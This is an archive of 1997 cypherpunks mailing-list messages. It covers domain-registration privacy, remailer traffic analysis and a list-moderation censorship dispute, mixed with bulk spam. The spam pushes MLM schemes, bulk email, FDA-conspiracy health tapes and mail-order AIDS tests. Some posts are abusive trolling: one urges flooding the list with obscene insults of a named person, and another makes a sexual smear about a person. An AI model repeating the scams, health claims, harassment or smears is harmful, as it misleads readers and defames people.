Vacations to the Caribbean, Alaska, Europe, the Far East and other
Exotic Ports of Call.   For Free Info,  HIT REPLY and type:   VACATION
________________________________

"FREE" $400 Bulk E-Mail Software "Explodes Your Business"
For FREE Information,  HIT REPLY and type:     EXPLODE 
________________________________
 
OPPORTUNITY!  The Complete Internet Business Starter Kit!  FREE Web Page!
Information Technology System!   FREE DETAILS: HIT REPLY and type:   SYSTEM
______________________________

Reach 50,000,000 on the Internet with iMall Classifieds, or
Full Color Display Ads.  Advertise your product, service, or
information on the iMall.  Free Bonus with every Homepage.
Send for FREE details.    AccessMillennium,  Inc. (tm)
Internet Advertising Consultants
For FREE Information - HIT REPLY and type:      MALL
________________________________

TRAVEL in style and EARN $$$ as an independent Travel 
Agent.  For FREE Information - HIT REPLY and type:  TRAVEL
________________________________

10 yrs in Europe.  NOW in US!  Unique weightloss program -
Distributors needed.  For FREE info - HIT REPLY and type: WEIGHTLOSS
________________________________

EAT CHOCOLATE - LOSE WEIGHT!!  Amazing discovery has crowds
lining up to enroll - it's a SPONSORING FRENZY!  Exclusive patented
ingredient in chocolate STOPS food and sweet cravings.  Debt free MLM
about to EXPLODE!!!  For FREE info - HIT REPLY and type:   CANDY
________________________________

Did you know that the internet is full of sites that offer FREE 
stuff?  Reply now and get a FREE SAMPLE of one of these sites.
For FREE SAMPLE - HIT REPLY  and type:       STUFF
________________________________

====KM users, WE GOT IT!!! === World's Best Herbal Tonic got
better!  ORIGINAL KM chemist makes 20 herb 'BOTANOL"
European Potency Standards.  Improved flavor!  Front Line /w
Boreyko ties will help build your $5-20K/mo. income in 3-6
months.  Call 602-503-0266 or HIT REPLY and type:   KM
_________________________________

Fast Cash * Experienced Networkers Only !!  Successful
business group uses pooled resources to Jump - Start successful
networkers in #1 growth MLM.  Don't need your $;   just your
experience & energy.  Opportunity of a Lifetime.  FAX resume
to  602-503-0744     or  - HIT REPLY  and type:      JUMP  - 
Include w/  E-Mail a brief experience biography in message.
_________________________________

**Obscene $$ on the INTERNET!!  ** $19K per month in 5
months!!  Lightning Speed Sales Growth.  Really CRANKS!!
Success magazine featured, Nov. 96.  We train & coach qualified
people.  No capital investment.  Leading products with dynamite
marketing system.  FREE info pack -   HIT REPLY & type:  BUNDLES
_________________________________

+++ FREE Tape Offer +++ Exposes FDA & Drug Industry control of
modern day medicine & gives LIFE SAVING health information.
Better than Dead Doctor tape!!  For FREE Tape  HIT REPLY  &
type:  SECRETS.   (be sure to include postal address in message.)
__________________________________

**  Could ENNIS COSBY'S DEATH have been PREVENTED?   **
Shocking!!  Is YOUR FAMILY Safe?  Avoid life-threatening
situations with these revolutionary auto products. HIT REPLY & type: SAFE
__________________________________

>>CONCERNED ABOUT YOUR TICKER? <<  FREE Audio
Tape - Dr. Ruhe tells how the Nation's #1 Killer, heart disease,
can be stopped!  Your life may depend on this information.  To get
Tape - HIT REPLY  &  type:  TICKER.  (be sure to include postal address)
___________________________________

GET IN TOUCH WITH YOUR LONG LOST FRIEND!  MG Services will
help you find and reunite with your long lost friend.  For a FREE
complete list of our services - HIT REPLY   &  type:        UNITE
___________________________________

Make $$$ With Your Home PC.
For FREE information - HIT REPLY & type:     CASH
___________________________________

Real Home Publishing Business
For FREE Information - HIT REPLY & type:   PUBLISH
___________________________________

****FREE Gossip about Movie Stars!!  HIT REPLY & type:  GOSSIP
___________________________________
***************************************
***************************************
***************************************

REGULAR RESPONSE SECTION: 
To respond to any of the following   announcements,  DO NOT
HIT REPLY!       Rather,  follow the instructions in each ad. 
If sending an email for FREE information, you must create a 
NEW  email and send it to the address in the ad.  This is very
important!   If you hit   "reply"  for these ads, nothing will happen!
You must send a separate request for each information offer.

***************************************
***************************************
***************************************

(This is a Fund Raiser, and merits your support)


***SPORTS ***  SCORES *** SPREADS ***
 NHL, NFL, NBA, MLB

Sports & Entertainment Information For You!!

Stay informed and up to date.
Sports Results * Movie Reviews * Financial Updates *
Updated Hourly!!

1-900-484-5800   ext. 8109
$2.99 per min.  Must be 18 years.

(Touch Tone Phone required)

The proceeds from your call 
will be donated to Make - A - Wish Foundation !
(They Grant Wishes to Terminally Ill Children)
 ______________________________

 For God so loved the world,  that he gave his only 
begotten Son, that whosoever believeth in him
should not perish, but have everlasting life.
-- John 3:16
 _____________________________
 
***************INSTANT * AIDS * TEST ********************** 
 ** HETERO-SEXUAL  *  HOMO-SEXUAL  * BI-SEXUAL  *  HYPER-SEXUAL **
 ****WHAT YOU NEED TO KNOW * WHEN YOU NEED TO KNOW IT ****

HERMETICALLY SEALED PACK OF 5 CREDIT CARD SIZE TESTS $10 TO
DR. GREY PALADIN,  637 S. BROADWAY,  B-105,  BOULDER, CO 80303

______________________________
 
Everyone has one!  Earn your $$ off them!     http://www.drbd.com
______________________________

Go with a proven system!  We have 16 yrs experience helping
people lose weight & keep it off with all natural, herbal -
based products. E-Mail:  herbalpc@answerme.com for details
______________________________

********  TERM LIFE QUOTES ON-LINE *******
Our database shops over 180 insurance companies ... no sales pressure
For quotes, visit our web site at  ...    http://www.hoot.com/insure
______________________________

Ultra tour BALATAS @ 60% off !!!  $13.50 per w/3 doz min
order.  NEW logo'd Balatas 90 & 100 comp. 
For FREE Info -  E-Mail me at     JRGOLF@concentric.net
________________________________

MAKE MONEY IN GOLF - Need distributors to handle 
wholesale clubs, equipment, closeouts, etc., part / full time
M/F.    E-Mail for information at   JRGOLF@concentric.net
________________________________

Own the NEW CAR of your choice for $695 out of pocket
cost.  For FREE DETAILS, send an E-Mail to our
Auto - Responder:    newcar@answerme.com
________________________________

Look Great,  Feel Great, Lose Weight

Go with a  proven system!  We have 16 yrs experience helping
people lose weight & keep it off with all natural, herbal -based
products.   E-Mail:   herbalpc@answerme.com  for FREE details.
_________________________________

ENCYCLOPEDIA INTERNET!  "Everything you want to know but 
are afraid to ask, or don't know who to ask"  For FREE Info - E-Mail
autoresponder:  request12@answerme.com  put "BIZ12" in E-mail body.
_________________________________

Don't Delete until you see the INTERNET'S FIRST SUPER SAVER
STORE.  FIRE sale pricing.  Tons of products.  FREE LIFETIME
SHOPPING membership for the first few browsers - so surf NOW:
http://www.isivn.com   use member ID #02172.  No Obligation!
_________________________________

Great Business Opportunity, Complete Ligitimacy,  $65,000 a year. Help
others achieve Dreams, Go to:  http://www.out.infront.com/Home.Business
_________________________________

Lose Weight Yesterday,  100% Guaranteed,  Different Plans for your
budget.  First enter $20,000 contest at:  http://out.infront.com/contest

***********************************************

ATTENTION ON-LINE  ADVERTISERS! 
BE A SPONSOR AND GET YOUR MESSAGE OUT TO MILLIONS!

If you would like to place your message before 1/2 million on-line
readers a week, we can do it for you for as little as $10 per line! We
mail to different people each week!  We will get your message out to
millions!

We have a very economical plan to give you a real presence on 
the net.  Find out how you can get a FREE week of E-Mail
advertising!!!   

New Feature: " FLAME PROOF ADVERTISING."  Get your message
out without being bothered by Flames.  No more TOS problems, no
more warnings from your ISP.  We filter out the problems!  Call for
details.

We can also do an "Exclusive" mailing of your letter alone.

For the "do-it-your-self" marketer, we can also provide you with your
own mailing lists for your own direct E-Mail marketing.

For full details, call our office @  919-772-8855  9-5 Eastern Time  -
 OR -    HIT REPLY     and  type -  ADINFO -  in the message area. Our
Auto-Responder will send you rates and ordering details.

FREEDOM NEWSLETTER
E-Mail Communications / Econo Promotions

***********************************************
Quotes that make sense:

"We tried to provide more for the poor and produced more poor instead.
We tried to remove the barriers to escape poverty, and inadvertently
built a trap"  

--Charles Murray

"Character is doing what's right when nobody's watching"

--Congressman J.C. Watts

"The point to remember is that what the government gives,
it must first take away."

-- John S. Coleman

"We will always remember.  We will always be proud.  We will
always be prepared, so we may always be free."

-- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

"Blessed is the Nation whose God is the Lord"

-- Psalms 33:12

*****************************








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 00:44:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy Problems with the IAHC New TLD Report SLD Policies
In-Reply-To: <199702052017.PAA24113@smarty.smart.net>
Message-ID: <3.0.1.32.19970208004306.00645118@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The International Internet Ad-Hoc Committee released its report
on new Top Level Domains for the Internet.  It's interesting,
and resulted from much political wrangling and religious conflict,
and for the most part I think it's taking a reasonable approach
to the problems, and I'm certainly not going to go postal like
Postmaster Karl Denninger :-)  A few particularly nice features:
	- .nom TLD, for name-based domains
	- Multiple registrars per name space, reducing the monopoly problem
	- trying to keep governments or PTTs from controlling it,
		though it's a bit big-business oriented for stability reasons.
Mostly I wasn't worried, because sensible people were going to make 
sure they didn't do anything totally disastrous.

Apparently I _should_ have been watching more closely, because the SLD
_Second_ Level Domain part has some policies that seriously interfere
with the privacy of potential domain name users.  
References and long quotes are below...

To a large extent, they've been trying to avoid getting stuck in
trademark problems by collecting lots of information and defining
jurisdiction.  
In the process, they're asking you to sign away your first-born child
in return for getting your name in the Yellow Pages(tm),
and they're requiring all the Registrars to reject your application
unless you do.  

The rules are especially inappropriate for the .nom domain,
which is for personal names and such, and don't need overkill.
There's a place for serious high-value commerce behaviour,
and much of this isn't too inappropriate for .firm - but even that
ignores the radical communication-pushed changes in the economy 
that make everybody able to run a worldwide business. 

It's not just that they want your email address (highly reasonable)
or your phone and physical address (ought to be optional) or your 
IP address (they don't ask) or domain name (ok) or digital or written
signature.
It's not even just obnoxious things like demanding that you 
swear (against _my_ religion...) to a bunch of things, like
"the reason for requesting this particular domain name"
or what you're planning to do with the domain name (perfectly reasonable
things to ask for as optional extras, and business may want to reveal these,
but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.)

It's things like designating an agent for service of process, and
"submits to the personal and subject matter jurisdiction and venue of a 
competent tribunal in the country where the registrar resides".
Aside from believing that you ought to be able to choose what governments,
if any, you're going to subject yourself to, I'd also expect that this
would be
annoying to people who don't live in one of the <=28 countries that
get Registrars in them.  And certainly if you're going to designate
someone as an agent for service of process (you can use the Registrar)
there'd better be some contractual language available so you can tell
what you're swearing to.

Is it reasonable to have a policy that users need to indicate 
how they'd like to receive communications about name and trademark disputes?
Sure.  And that they hold the Registrar harmless in such disputes?  Probably.
And which dispute resolution organization they're willing to have
resolve disputes over names (a _much_ milder statement than
"submit to personal and subject matter jurisdiction"....)?  
Yeah, even if the default is "the Registrar can disconnect your name
if you don't respond to trademark complaints in N days."
Certainly the Registrar ought to have some options here.




======================== REFERENCES ===================================
The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html
	(nice name for a "final" report :-)
The Application Forms for SLDs aren't in the draft on the web page,
	so I'm assuming they're referring to something similar to the
	December draft's Appendix.
Mailing list archives are at http://www.iahc.org/iahc-discuss/

==========================================================================
	QUOTES FROM THE REPORT
==========================================================================
6.1.5 Second-Level Domains
SLD application 
Application for a second-level domain name must include: 
     Sufficient contact and intended use information
     Appointment of an agent for service of process
     Agreement to jurisdiction in the event of trademark litigation.
     Mediation and arbitration clause (discussed in a later section) 

A separate document entitled "SLD Applications" (see section 1.4) contains 
the information that must be included in a SLD application.
Applications submitted electronically must include state of the art 
electronic identification; written applications must be signed by the
applicant, if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

Renewal and non-use 

To promote accountability, discourage extortion and minimize obsolete
entries, 
SLD assignments must be renewed annually. 
Appendix B, attached, includes the information that must be included 
in a renewal application. Renewal applications submitted 
electronically must include state of the art electronic identification; 
written renewal applications must be signed by the applicant, 
if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

In addition to requiring annual renewal, CORE will develop policies 
to ensure the recovery of sub-domains which no longer have an
authoritative source (lame delegations). 

6.2 Discussion

In order to ensure consistency of basic service across registrars, 
certain information is required in all applications for SLDs under
gTLDs. It is desirable that a domain name application include 
sufficient information regarding the applicant and the applicant's intended
use of the domain name to ensure applicant accountability 
and to ensure that sufficient information is available to enable trademark
owners to assess the need for a challenge to the proposed SLD domain. 

================= [more stuff]
================================================
7.1.3 Publication

All applications for SLDs in the gTLDs will be published on a 
publicly available, publicized web site, immediately upon receipt 
by the registrar. Such publication entries will include: 
     Name of the SLD;
     Contact and use information contained in the application;
     A permanent tag or label (created by CORE) indicating whether 
       the applicant chose the option of waiting 60 days prior to
       assignment of the requested SLD or chose to forego the 60 day wait;
     Entry validation using accepted digital signature and timestamping
techniques. 
Those applicants choosing not to wait will not be in a position to claim 
the defensive benefit of the waiting period against a challenge,
at any time, by a trademark owner. 
===================================================


=======================================================================
	APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS
=======================================================================
11.1 Appendix A - SLD Application Requirements

Every application for assignment of a SLD must include the following elements 
(incomplete applications must be returned to the applicant for completion): 

   1.Applicant's name, business or residential address, email address, 
	fax and phone number(s). 
   2.The state or country of incorporation or partnership (if applicable). 
   3.The name and address of a designated agent for service of process 
	where the registrar is located, which may be the applicant
      in the case of an individual. (The applicant may designate the 
	registrar as the agent for service of process.) 
   4.A sworn statement by the individual applicant or by an officer or 
	general partner of a corporate or partnership applicant: 
        1.that there is a bona fide intent to use the domain name publicly 
		within 60 days of registration, and a bona fide intent to
		continue such use in the foreseeable future; 
        2.that the domain name will be used for [fill in the blank, e.g., 
		"for a web site to advertise applicant's candy 
		manufacturing business"]. This may be a broad statement and is 
		not intended in any way to restrict actual use. However,
		to the extent that a commercial use is intended, this statement 
		should identify the industry in which the use is intended to
		be made and should indicate which of the following uses will 
		be made: web site, email, bulletin board and/other describe); 
        3.that the applicant believes that the intended use of the 
		domain name will not infringe any rights of any other party; 
        4.that the reason for requesting this particular domain name is 
		that it conforms to [check one of the following]: 
	     ___ applicant's company name or variation thereof 
	     ___ applicant's trademark or variation thereof 
	     ___ individual applicant's name or variation thereof 
	     ___ other (provide full explanation) 

   1.that the applicant submits to the personal and subject matter
	jurisdiction and venue of a competent tribunal in the country 
	where the registrar resides for purposes of any action brought 
	under trademark law, unfair competition laws, or similar/related 
	laws arising out of actual or intended use of the domain name 
	applied for; and applicant waives all rights to challenge such personal
	jurisdiction, subject matter jurisdiction and/or venue. 

============================================================================
========





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 01:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Successfully Routing Around Censorship In Italy
Message-ID: <3.0.1.32.19970208010916.006169f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In Cu Digest, #9.07 -- see Cu Digest Homepage: 
	http://www.soci.niu.edu/~cudigest/  *
is a nice article on how an Italian mailing list 
was blocked by the University bureaucracy.
    LISA (Lista Italiana Sull'Accesso a Internet) is
    "an unmoderated area devoted to discussion about social, cultural
    and economic aspects related to the development of the Internet in Italy."

Two days later they were up and running on a machine in Utah.

> Choosing censorship instead of an open debate is 
> something we will never be willing to silently accept.
> Laura Caponi
> Owner of LISA
> Lista Italiana Sull'Accesso a Internet


* This issue isn't on the web page quite yet....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 7 Feb 1997 23:59:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702062301.PAA02208@toad.com>
Message-ID: <0mz38b200YUh0Qosg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com> writes:
> Charley Musselman writes:
> >  Does anyone know the answer?  Specifically, how can we choose
> >  a trusted remailer?
> 
> The answer is to run your own remailer.  Make sure your chain includes your  
> remailer at least once.  If you can't trust yourself, who can you trust?

Ummm, if you run your own remailer, and don't get lots of people to
use it, then traffic analysis will reveal that you are the sender
quite quickly. It will pretty much make everything in the chain before
your remiler useless. If you send your message through remailers a, b,
c, and d like this:

you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen

and only you use c, then your effective chain is:

someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This chain is weak indeed.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 8 Feb 1997 00:15:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: NYC meeting?
Message-ID: <199702080816.DAA01807@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

are there any Cypherpunks-Meetings in NYC?

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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oiV1PFWQx4n1gmG2kZh3PbkXYlOU1dzDwS6nDNx1ZR9mjdTiZ+cWdQ==
=Cnr+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba ROM DOS <bubba@dev.null>
Date: Sat, 8 Feb 1997 06:24:54 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re:
In-Reply-To: <199702062311.PAA02460@toad.com>
Message-ID: <32FC6433.7713@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


steve wrote:
> 
> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!

  To unsubscribe, send 2,000 messages to cypherpunks@toad.com, with a
message body that says,
  "John Gilmore is a cocksucker! (spit, fart)"

  This method has proven effective in the past.

Bubba






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba ROM DOS <bubba@dev.null>
Date: Sat, 8 Feb 1997 06:23:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199702062311.PAA02460@toad.com>
Message-ID: <32FC645C.7828@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


steve wrote:
> 
> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!


  To unsubscribe, send 2,000 messages to cypherpunks@toad.com, with a
message body that says,
  "John Gilmore is a cocksucker! (spit, fart)"

  This method has proven effective in the past.

Bubba






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TheSecret@WORLD.STD.COM
Date: Sat, 8 Feb 1997 03:24:30 -0800 (PST)
To: TheSecret@WORLD.STD.COM
Subject: A WONDERFUL "FREE GIFT" FOR YOU !
Message-ID: <199702081123.DAA16380@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


(Please accept our sincere apology for sending this e-mail 
to you. But, we really do have a wonderful Free gift for you.
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Once you are mailed this letter, your e-mail address is 
automatically REMOVED from our data base and you will
NOT receive any more mail from us again).
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 04:16:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Montgolfiering Spoof
Message-ID: <199702081216.EAA25951@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Desperado Vampire K]ock[ Of The Month died of AIDS last night
with his prepubescent lover.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Desperado Vampire K]ock[ Of The Month






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 20:31:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Frightening Dangers of Moderation
Message-ID: <19970208043115.2364.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Well, folks, tonight I have witnessed the frightening dangers of
moderation and censorship first-hand, and would like to tell you what
has happened.  I think there is an important lesson to be learned from
these incidents.

Before I explain what has happened, I want to make one thing
absolutely clear.  Though I've thought the moderation of cypherpunks
was a terrible idea from the start and am even more convinced of it
now, I don't assign any blame to Sandy.  I believe he offered to
moderate the list with the best of intentions, and I sincerely
appreciate his efforts to try to revive what was once a fantastic
mailing list, even if in my opinion those efforts have backfired.

Sandy has been a valuable advocate of cypherpunk beliefs and a lively
contributor to cypherpunks list for a long time.  Though the
moderation experiment has resulted in some terrible consequences, we
can't blame him for what has happened.  If the events I have witnessed
tonight occured with such a high-standing member of the cypherpunks
community in charge, the cause of them can only be the very nature of
moderation and censorship.  I don't think any of us could have done
much better in Sandy's shoes.

Now, what happened tonight?  As some of you may recall, a month or so
ago I vehemently argued against the elimination of the
cypherpunks-unedited mailingt list.  Some people (though no one
associated with toad.com) were claiming that 3 mailing lists might be
too much load, and that having cypherpunks and cypherpunks-flames
would be enough.  I argued that not only would the delay of waiting
for a decision put alternate cypherpunks moderators at a disadvantage,
it would make it farm more difficult to convince people of the
moderator's honesty as there would be no guarantee that messages made
it to either list.  Fortunately, cypherpunks-unedited did get created
(it seems no one "in charge" ever intended not to create it).

Well, as it turns out, a number of messages have made it neither to
cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
not only are certain messages being suppressed from both lists, but
even messages mentioning that fact get suppressed from both the
cypherpunks and the cypherpunks-flames lists!

Here's exactly what happened.  I was beginning to believe that Dmitri
Vulis had sent an (admitedly objectionable) message to the cypherpunks
mailing list, but that the message had gone to neither the cypherpunks
nor the cypherpunks-flames lists.  Since I was under the impression
that every article was supposed to go to one list or the other, and
many people probably still believe that, I mentioned this somewhat
startling fact on the cypherpunks mailing list, I believe in response
to a post by Tim May on the same subject.

Tim replied (in a message Cc'ed to cypherpunks--though I don't think
it went anywhere but to -unedited), asking me in the message, "Can you
send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS
OREDCENSOREDCENSORE?"  I therefore went back through my mail archives
and found a copy of the message that I believed had gone to neither
mailing list.  I sent it to Tim and to cypherpunks.  I prepended a few
paragraphs in which I asked people to confirm that the message had
gone to neither mailing list.  Among other things in those paragraphs,
I stated that Vulis's message was "verifiably false".  It was clear
from the context that I was forwarding this message to ask people
which lists it had gone to, not because I believed the content to be
correct or even at all convincing or interesting.  That message I
sent, quoting Vulis's, immediately follows this message, after the
line '========'.

Then, tonight, I received a message from Sandy, which I include below
a second '========' marker.  In that letter, Sandy had explicitly
aknowledged not only that he had sent Vulis's letter to neither
mailing list, but that he wouldn't send my letter to either mailing
list, either!  He claimed that he couldn't forward Vulis's message
because it was libel, and accused me of committing libel simply by
quoting Vulis's message, even though I explicitly stated that Vulis's
message was verifiably false.

Well, this travesty must exposed, even if I can't make known all the
details for fear of libel charges.  I am therefore forwarding
everything I can to the cypherpunks mailing list, for all to see.  As
you can see, Vulis made unfounded and incorrect charges that a
particular system contained a security hole.  Believe me, if I could
get into the details of the case I could convince you easily that his
claim is not true.  However, since even quoting that claim apparently
opens me up to charges of libel, I can't give you the details.  Thus,
I have censored (by overriting original text with the letters
CENSORED) any portion of quoted messages that might give you an
indication of what system Vulis actually claimed had a security hole.

This censorship should not, however, affect my main point, and the
lesson that I hope we can all take away from this.  When it comes down
to it, the details of this case do not matter.  What does matter is
that even when the "good guys" attempt benign censorship, it can have
frighteningly far-reaching effects on people's ability to discuss
otherwise reasonable topics such as the mechanics of the cypherpunks
list.  I generally dislike censorship and moderation, but the
consequences of the cypherpunks experiment have gone far beyond
anything I could have imagined.

In closing, let me reiterate that I don't think most of this is
Sandy's, John's, or anyone else's fault.  Given the knowledge I have
of this case, I believe Sandy has unwittingly found himself ensnarled
in a nasty legal situation where, for fear of legal reprisal he must
block articles that he has a moral obligation to send to
cypherpunks-flames.  I certainly don't envy his position.

[To moderator Sandy:  I believe we must get the content of this
message to the main cypherpunks mailing list.  I have done everything
I can to ensure that the message contains no libel.  If, for some
reason, you still can't send it on to the main cypherpunks mailing
list, can you please tell me specifically which parts cause problems.
I will the CENSOR them out and try again.  This message contains
important, highly relevant information for the cypherpunks community.
Please help me do what it takes to get it accepted by the moderation
process.  Thanks.]

========

To: tcmay@got.net
CC: cypherpunks@toad.com
Chain: nym=antimod
In-reply-to: <v03007802af21505d61f5@[207.167.93.63]> (tcmay@got.net)
Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC?

Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (CENSOREDCENSOREDC
ENSOREDCENSOREDCE), I can see people arguing it should have gone to
- -flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

- --

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS
OREDCENSOREDCENSOREDCEN.  It's actually a hacked-up version of CENSOR with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
CENSOREDCENS. 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

- ---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

========

X-From: sandfort@crl.com Sat Feb 08 00:56:23 1997
Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST)
From: Sandy Sandfort <sandfort@crl.com>
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hi,

On 7 Feb 1997, Against Moderation wrote:

> What I object to more strongly and think is wrong is the
> fact that it went to *neither* list.

Unfortunately, it's not as simple as that.  As soon as I can
arrange it with John, I am going to stop moderating the list.
In the interim, I *will not* be sending your post onto either
the Flames or the Moderated lists.  This is done for legal 
reason.  As it is, you have already published a libel on the
unedited list by repeating Dimitri's libel.  This exposes you to
legal liability, but as an anonymous poster, you are somewhat
insulated from the consequences of your act.

If you would like to PRIVATELY discuss this matter with me, I
would not mind going into more detail with you.  Suffice it to 
say, I any re-publication by me of Dimitri's libel would expose
John and myself to legal liability and could also act to 
insulate Dimitri from liability as a result of CENSOREDCENSOREDCE
NSOREDCENDOREDCENDOREDC.

Take care,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

========

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ykV0cj2DsWs=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Sat, 8 Feb 1997 04:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: $$ THE 30 SECOND COMMUTE $$
Message-ID: <199702081250.EAA16690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Sat, 8 Feb 1997 06:54:22 -0600
Message-Id: <12542268500622@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
